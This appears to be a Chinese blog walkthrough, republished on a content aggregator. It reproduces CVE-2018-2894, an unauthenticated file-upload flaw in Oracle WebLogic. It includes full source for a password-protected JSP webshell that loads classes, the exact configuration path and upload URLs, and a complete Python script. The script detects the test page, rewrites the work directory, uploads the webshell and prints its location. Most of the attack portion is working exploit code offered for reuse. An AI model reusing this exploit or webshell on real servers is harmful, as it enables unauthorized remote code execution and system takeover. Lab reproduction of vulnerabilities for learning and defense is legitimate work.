CVE-2018-2894WebLogic未授权任意文件上传

news2024/11/24 4:04:56

CVE-2018-2894WebLogic未授权任意文件上传

这个洞的限制就比较多了

限制版本

Oracle WebLogic Server版本
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3

限制配置

该漏洞的影响模块为web服务测试页,在默认情况下不启用
/ws_utc/config.do
/ws_utc/begin.do

默认情况下不启用的意思就是,这个洞看脸,管理员开没开这个模式,不过现在基本上就没有了应该

但是还是尝试复现一下,所以手动开启

登录控制台-》base_domain-》高级-》勾选启用Web服务测试页 -》保存

登陆就直接ip:7001/console就跳转到登陆页面了

登陆的账号密码

docker-compose logs | grep password

image-20230413162356031

  1. 直接在kali上拉取镜像

    weblogic:172.20.0.2:7001

  2. 登陆开启Web服务测试页

    image-20230413162741535

    别忘了保存

  3. 接下来模拟攻击,换个没登陆的浏览器访问

    /ws_utc/config.do

    设置Work Home Dir为

    /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

    image-20230413162956960

  4. 准备jsp webshell

    连接密码passwd

    原帖地址:https://blog.csdn.net/qq_43615820/article/details/116357744

    <%!
        class U extends ClassLoader {
            U(ClassLoader c) {
                super(c);
            }
            public Class g(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }
     
        public byte[] base64Decode(String str) throws Exception {
            try {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            } catch (Exception e) {
                Class clazz = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            }
        }
    %>
    <%
        String cls = request.getParameter("passwd");
        if (cls != null) {
            new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
        }
    %>
    
  5. 上传,注意先开burp再上传,回包中查看时间戳,文件在http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

    image-20230413163836638

    image-20230413164524265

  6. 访问一句话木马看看传没传上去

    http://192.168.27.137:7001/ws_utc/css/config/keystore/1681375502098_passwd.jsp

    image-20230413164709603

  7. 蚁剑连接

    image-20230413164754026

    成功getshell

接下来尝试写个py脚本

挑战自己!

经过前面的复现,我认为利用漏洞其实主要在未授权的一个页面

http://192.168.27.137:7001/ws_utc/config.do

后来查了一下如何检测是否开启测试页面

http://192.168.27.137:7001/ws_utc/resources/setting/options/general 如果成功访问到该页面证明开启了

image-20230413170154503

开写!

import re
import requests
def text(host):
    payload1="http://"+host+"/ws_utc/resources/setting/options/general" #拼接地址
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'
    }#搞个ua省的被防爬虫干掉

    try:
        req=requests.get(payload1,headers=header)
        if req.status_code == 404 : #状态码检测 404 说明不存在该漏洞
            exit("{} 不存在CVE-2018-2894".format(host))
        elif "</defaultValue>" in req.text:
            print("存在该漏洞")
            return 1
    except:
        exit("error host")

来解释一下这个函数,非常简单,直接发一个请求给/ws_utc/resources/setting/options/general,如果回包的状态码是404则漏洞不存在,如果存在关键词则说明漏洞可能存在

第二步,修改路径,先手动修改一下抓个包,看看传到那了,传什么了

image-20230413191154693

发现上传路径与参数,直接开些

def change_path(host):
    data={
        "setting_id":"general", 		     "BasicConfigOptions.workDir":"/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css",
        "BasicConfigOptions.proxyHost":"",
        "BasicConfigOptions.proxyPort":"80"
    }
    payload = "http://" + host + "/ws_utc/resources/setting/options"  # 拼接地址
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'
    }  # 搞个ua省的被防爬虫干掉
    print(payload)
    try:
        req = requests.post(payload,headers=header,data=data)
        if req.status_code == 200:  #
            return "修改成功"
        else:
            exit("错误")
    except:
        exit("error host")

定义data 把抓到的包中的参数写进来,注意workDir,要写

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

定义payload,把目标地址拿下来

直接发包,状态码如果为200,则修改成功

第三步!上传文件!

还是老套路,先手动传一个,看看目标地址和参数

image-20230413192057804

看到如上的参数,再看看目标地址

image-20230413192139912

看到这个地址我一惊,这有个时间戳,那还得动态获取这个地址,但是!我放到重发器里试了一下,发现这玩意没啥用,那就直接搞代码吧!

def upload_jsp(host):
    payload = "http://" + host + "/ws_utc/resources/setting/keystore"  # 拼接地址
    file={
        "ks_name":"a",
        "ks_edit_mode":"false",
        "ks_password_front":"1",
        "ks_password":"1",
        "ks_password_changed":"true",
        "ks_filename":"passwd.jsp",
        'file': open('./need/passwd.jsp', 'rb')
    }
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'
    }
    request = requests.post(payload, files=file)
    response = request.text
    match = re.findall("<id>(.*?)</id>", response)
    if match:
        tid = match[-1]
    shell_path = "http://"+host + "/ws_utc/css/config/keystore/" +str(tid) + "_passwd.jsp"
    if requests.get(shell_path,headers=header).status_code==200:
        print("{} 存在 CVE-2018-2894".format(host))
        print("webshell path:{}".format(shell_path))
    else:
        print("[-] {} don't exists CVE-2018-2894".format(host))

这里面值得说的:
file中最后一个参数要导入木马文件哦

前面说到上传文件的命名是时间戳_文件名,使用正则匹配获取这个id,但是观察数据包发现回包中有所有文件的id,所以取最后一个(新上传的),match[-1]

然后发包,发包后访问一下shell页面,如果状态码为200,则可能上传成功,发出提示,如果没有则说明上传失败

最后!写个主函数

if __name__=='__main__':

    host="" #例子 192.168.0.17:7001
    if text(host)==1:
        change_path(host)
        upload_jsp(host)
    else:
        exit()

这个就没啥好说的了,用VPS开了一个靶场,跑一下试试

image-20230413193153442

image-20230413193416776

成功咯!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/555583.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

在职字节6年,一个29岁女软件测试工程师的心声

简单的先说一下&#xff0c;坐标杭州&#xff0c;14届本科毕业&#xff0c;算上年前在字节跳动的面试&#xff0c;一共有面试了有6家公司&#xff08;因为不想请假&#xff0c;因此只是每个晚上去其他公司面试&#xff0c;所以面试的公司比较少&#xff09; 其中成功的有4家&a…

Linux防火墙----firewalld

文章目录 一、firewalld概述二、firewalld 与 iptables 的区别三、firewalld 区域的概念四、firewalld数据处理流程五、firewalld防火墙的配置方法5.1 使用firewall-config 图形工具5.2 编写/etc/firewalld/中的配置文件5.3使用firewall-cmd 命令行工具 一、firewalld概述 fir…

AI:帮助你更好地发声!

正文共 978 字&#xff0c;阅读大约需要 3 分钟 公务员必备技巧&#xff0c;您将在3分钟后获得以下超能力&#xff1a; 快速生成倡议书 Beezy评级 &#xff1a;B级 *经过简单的寻找&#xff0c; 大部分人能立刻掌握。主要节省时间。 推荐人 | Kim 编辑者 | Linda ●图片由Lex…

当你知道前后端分离与不分离的6个特点,你就不该再当点工了

Web 应用的开发主要有两种模式&#xff1a; 前后端不分离 前后端分离 理解它们的区别有助于我们进行对应产品的测试工作。 前后端不分离 在早期&#xff0c;Web 应用开发主要采用前后端不分离的方式&#xff0c;它是以后端直接渲染模板完成响应为主的一种开发模式。以前后端不…

linux存储技术学习资料

参考 https://www.cnblogs.com/pengdonglin137/p/16525428.html Linux I/O栈 Linux内核的I/O栈大图知乎Linux I/O专栏1Linux 块设备之Block Layer层架构演变Linux VFS机制简析&#xff08;一&#xff09;Linux VFS机制简析&#xff08;二&#xff09;Linux Kernel文件系统写I…

keycloak入门

realm&#xff1a;领域&#xff0c;指的是在某一个软件业务领域中所涉及的用户认证授权管理相关的对象&#xff0c;在这个realm中有用户、角色、会话session等等用于认证授权管理的对象。 假设一个公司A使用一个erp系统&#xff0c;那么就可以给这个公司A设置一个realm&#xf…

微信小程序nodejs+vue高校食堂餐厅点餐订餐系统ja221

本文以实际运用为开发背景&#xff0c;运用软件工程原理和开发方法&#xff0c;它主要是采用 语言 node.js 框架&#xff1a;Express 前端:Vue.js 数据库&#xff1a;mysql 数据库工具&#xff1a;Navicat 开发软件&#xff1a;VScode 前端vueelementui, (1) vue引入elementu…

NFC入门介绍

缩写词 NFCNear Field Communication近场通信OEMOriginal Equipment Manufacturer原始设备制造商HWHardware硬件OMAPIOpen Mobile Application Programming Interface开发移动应用程序编程接口eSEEmbedded Secure Element嵌入式安全元件SEMSSecure Element Management Service…

5月22日比特币披萨日,今天你吃披萨了吗?

比特币披萨日 1. Laszlo Hanyecz2. 最贵披萨诞生记3. 梭哈买披萨4. 未完待续 2010年5月22日&#xff0c;美国佛罗里达州的程序员Laszlo Hanyecz&#xff08;拉兹洛哈涅克斯&#xff09;用10000个比特币购买了棒约翰&#xff08;Papa Johns&#xff09;比萨店一个价值25美元的奶…

Three.js--》实现3d水晶小熊模型搭建

目录 项目搭建 初始化three.js基础代码 加载背景纹理 加载小熊模型 今天简单实现一个three.js的小Demo&#xff0c;加强自己对three知识的掌握与学习&#xff0c;只有在项目中才能灵活将所学知识运用起来&#xff0c;话不多说直接开始。 项目搭建 本案例还是借助框架书写…

vTESTstudio概述

vTESTstudio支持的测试用例编写方式 项目层级结构 从用例编写到测试执行及生成报告的整个流程 vTESTsutido 开发&#xff0c;CANoe执行测试 界面简介 CANoe 创建的测试用例用Test Modules执行&#xff0c;vTESTstudio 创建的测试用例用Test Units执行 先在vTESTstudio里创建pr…

Quard Bayer(COMS SENSOR)

手机越做越紧凑需要模组和芯片尺寸越做越小&#xff0c;在尺寸一定的基础上&#xff0c;高像素和大像素&#xff0c;对于手机摄像头来说&#xff0c;一直是一对矛盾的存在。然而&#xff0c;高像素所带来的高分辨率画质&#xff0c;和大像素带给暗态高感度低噪声的画质&#xf…

Idea使用详解

01.idea简介 &#xff08;1&#xff09;idea介绍 IDEA 全称IntelliJ IDEA&#xff0c;是用于java语言开发的集成环境&#xff08;也可用于其他语言&#xff09;&#xff0c;IntelliJ在业界被公认为最好的java开发工具之一&#xff0c;尤其在智能代码助手、代码自动提示、重构、…

鸿蒙Hi3861学习十七-Huawei LiteOS-M(MQTT)

一、简介 有关MQTT的相关概念介绍&#xff0c;请看之前的文章&#xff0c;这里不做过多的介绍&#xff1a;MQTT学习总结_t_guest的博客-CSDN博客 本章节需要使用如下软件&#xff1a; Mosquitto&#xff08;MQTT消息代理工具&#xff09; Eclipsse paho MQTT工具 二、操作说明…

十款优质企业级Java微服务开源项目(开源框架,用于学习、毕设、公司项目、私活等,减少开发工作,让您只关注业务!)

Java微服务开源项目 前言一、pig二、zheng三、SpringBlade四、SOP五、matecloud六、mall七、jeecg-boot八、Cloud-Platform九、microservices-platform十、RuoYi-Cloud 前言 这篇文章为大家推荐几款优质的 Java 开源项目框架&#xff0c;可以用于学习&#xff0c;毕业设计&…

【腾讯云FinOps Crane 集训营】 Crane入门

前言 随着云计算的快速发展和云原生应用的兴起&#xff0c;容器技术成为了现代化应用部署和管理的重要工具。 越来越多的公司正在选择将应用运行在云上或者自建的 Kubernetes 集群上&#xff0c;但是许多机构的调研 发现&#xff0c;绝大多数的用户集群资源利用率并不高&…

STM8 使用74HC164外扩IO

背景 在嵌入式开发过程中&#xff0c;经常使用时、甚至设计时候&#xff0c;考虑成本等因素&#xff0c;需要外扩IO。这里就是使用STM8S003F3P6&#xff0c;这个芯片比较常用的&#xff0c;这个芯片封装很小&#xff0c;只有20个管脚的MCU&#xff0c;实际产品上用的非常多。 …

二进制部署高可用k8s集群

第一章、前置知识点 1.1 生产环境部署K8S集群的两种方式 kubeadm Kubeadm是一个K8S部署工具&#xff0c;提供kubeadm init 和 kubeadm join&#xff0c;用于快速部署Kubernetes集群。 二进制包 从GitHub下载发行版的二进制包&#xff0c;手动部署每个组件&#xff0c;组成…

Idea部署Tomcat项目位置问题

Tomcat部署路径问题 1 默认情况 Tomcat安装目录下有webapps,是部署项目的,项目就运行在那里。 但是IDEA会为每个项目都拷贝一份足够的Tomcat文件放在c盘 ${user.home}/.IntelliJIdea/system/tomcat 或者 ${user.home/AppData/Local/JetBrains/IntelliJIdea2021.1/tomcat这样做…

【MySQL新手到通关】第二章 MySQL卸载安装

文章目录 1. MySQL的卸载1.1 停止MySQL服务1.2 软件的卸载 2. MySQL的下载、安装、配置2.1 软件的下载2.2 MySQL8.0 版本的安装2.3 配置MySQL8.02.4 配置MySQL8.0 环境变量2.5 MySQL5.7 版本的安装、配置2.6 安装失败问题 3. MySQL 登录3.1 服务的启动与停止3.2 自带客户端的登…